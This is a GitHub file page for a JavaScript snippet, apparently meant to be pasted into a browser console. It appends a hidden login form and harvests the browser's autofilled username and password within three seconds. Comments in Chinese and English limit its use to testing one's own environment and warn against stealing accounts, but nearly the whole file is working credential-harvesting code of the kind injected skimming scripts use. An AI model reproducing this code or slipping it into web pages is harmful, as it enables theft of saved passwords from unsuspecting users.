-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathget-browser-password.js
More file actions
51 lines (49 loc) · 1.78 KB
/
Copy pathget-browser-password.js
File metadata and controls
51 lines (49 loc) · 1.78 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// 仅用于测试自己的环境的安全性,不得用于盗取他人账号,违者后果自负!!!
// For testing the security of your own environment only.
// Do not use it to steal others' accounts.
// Offenders will bear all the consequences!!!
// 在浏览器的控制台粘贴代码,然后按键盘上的 enter 。
// 返回类型 { id: string, password: string } 。
// 如果返回的 id 和 password 都是空字符串,说明浏览器没有自动填充密码。
await new Promise((resolve, reject) => {
var form, timeoutId;
function removeElement() {
try { if (form) form.remove() } catch (e) { }
}
function clearMyTimeout() {
try { if (timeoutId) clearTimeout(timeoutId) } catch (e) { }
}
try {
form = document.createElement('form');
form.style.display = 'none';
form.innerHTML = (
`<input type=text name=id autocomplete=username>` +
`<input type=password name=password autocomplete=current-password>`
);
function res() {
try {
const out = Object.fromEntries(new FormData(form));
removeElement();
resolve(out);
} catch (e) {
removeElement();
reject(e);
}
}
function oninput() {
if (form.lastChild.value && form.firstChild.value) {
clearMyTimeout();
res();
}
}
form.firstChild.addEventListener('input', oninput)
form.lastChild.addEventListener('input', oninput)
document.body.appendChild(form);
// 3 秒没填充就自动返回
timeoutId = setTimeout(res, 3000);
} catch (e) {
removeElement();
clearMyTimeout();
reject(e);
}
})